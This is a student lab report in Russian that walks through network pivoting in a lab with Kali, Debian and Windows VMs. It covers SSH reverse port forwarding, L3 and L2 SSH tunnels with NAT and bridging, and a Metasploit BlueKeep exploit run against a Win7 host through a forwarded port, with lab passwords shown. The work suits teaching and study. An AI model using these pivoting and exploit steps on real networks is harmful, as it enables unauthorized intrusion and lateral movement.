# **Практическая работа №4**
```
Работу выполнил: Заварзин А.А.
Группа: БСБО-04-20
```
---
### **Выполнение**:
Перейдем к **pfsense**:

Перейдем к **Debian**(root, eve@123) и выполним команды:
```
ip a
nano /etc/network/interfaces
```
**Исправим** на:
```
auto ens3
allow-hotplug ens3
iface ens3 inet dhcp
```
`service networking restart`
Получили Ip: **192.168.1.104**
## SSH Port forwarding:
Переходим к **Kali**:
```
sudo -i
service ssh start
systemctl enable ssh
```
Проверим **статус** ssh:
`service ssh status`
Узнаем Ip kali: **192.168.26.136**
Перейдем к **Win10** и подключимся к **Kali** с ssh
`ssh user@192.168.26.136`
Сделаем реверсивный коннект:
`ssh -R 3395:localhost:3389 user@192.168.26.136`
После флага -R указываем порт, который прокидываем на Kali, после указываем куда подключаемся(в нашем случаем Win10) и указываем порт 3389.

Проверим коннекты на **Kali**:

**Подключимся** к порту:
`xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3395`

После прерывания соединения **порт 3395** пропал.
### Теперь попробуем взломать Windows 7 с Debian.
Посмотрим Ip-адрес машинки на **Win7: 192.168.1.102**
Создадим соединение на **Debian**:
`ssh -R 3395:192.168.1.102:3389 user@192.168.26.136`
Вернемся к **Kali**. Снова **подключимся** к порту:
`xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3395`

Попробуем **получить доступ** ко всей сети. Воспользуемся **Metasploit Framework** и уязвимостью **bluekeep**. Попытаемся взломать машинку на Win7 не зная логин и пароль (объединим две атаки).
```
msfconsole
search bluekeep
use 1
set rhosts 127.0.0.1
set rport 3395
show targets
set target 8
run
```
Доступ **получен**.
## SSH tunneling L3:
Переходим к **Kali**. Включим **туннелирование**.
```
sudo nano /etc/ssh/sshd_config
PermitRootLogin yes
PermitTunnel yes
sudo service ssh restart
```
**Изменим пароль** от рута на eve@123:
`sudo passwd root`
Подключимся с **Debian** машинки:
`ssh root@192.168.26.136`
Таб и Тан интерфейсы не появились.
Установим **туннель** с Debian:
`ssh -w 0:0 root@192.168.26.136`
С помощью команды `ip a` увидим, что на **Kali** и **Debian** появился **tun0** интерфейс. **Настроим** его.
**На Kali:**
```
sudo -i
ip addr add 10.8.0.1/24 dev tun0
ip link set tun0 up
ip a
```

**На Debian:**
```
ip addr add 10.8.0.2/24 dev tun0
ip link set tun0 up
ip a
```

Перейдем на **Kali** и попробуем **пропинговать**.

Включим **роутинг**, чтобы между ens3 и tun происходила **маршрутизация**.
Перейдем к **Debian**:
```
nano /etc/sysctl.conf
Раскомментируем net.ipv4.ip_forward=1
sysctl -p
ip a
```

Перейдем к **Kali (добавим маршрут):**
```
ip route add 192.168.1.0/24 via 10.8.0.2
ping 192.168.1.104
```

Вернёмся к **Debian** и сделаем **Nat**:
`iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE`
Попробуем пингануть **192.168.1.1**:

Подключимся к машинке Win7:
`xfreerdp /u:user /p:eve@123 /v:192.168.1.102:3389`

## SSH tunneling L2:
Делаем мост на **Debian** машинке (ens3 и ens4 в **bridge**):
```
apt update
apt install bridge-utils
nano /etc/network/interfaces
```

```
service networking restart
ip a
```
**Мост** создан:

Машинка на **Win7** получила свой Ip-адрес: **192.168.1.106**

Посмотрим пакеты, которые проходят через **мост**:

Сделаем **тоннель** уровня **L2** до **Kali** машинки:
`ssh root@192.168.26.136 -o Tunnel=ethernet -w any:any`
Посмотрим на появившиеся **интерфейсы**:


Добавим этот **интерфейс в мост** и поднимем его:
На **Debian**:
```
brctl addif br0 tap0
ip link set dev tap0 up
ip a
```
На **Kali**:
`ip link set dev tap0 up`
**Получим Ip-адреса** на интерфейсе tap0:
`dhclient tap0`

Отлично, удалось **проникнуть** в сеть:

Тегированный трафик:
```
tcpdump -i tap0 | grep ARP
tcpdump -i tap0 -e vlan -v
```
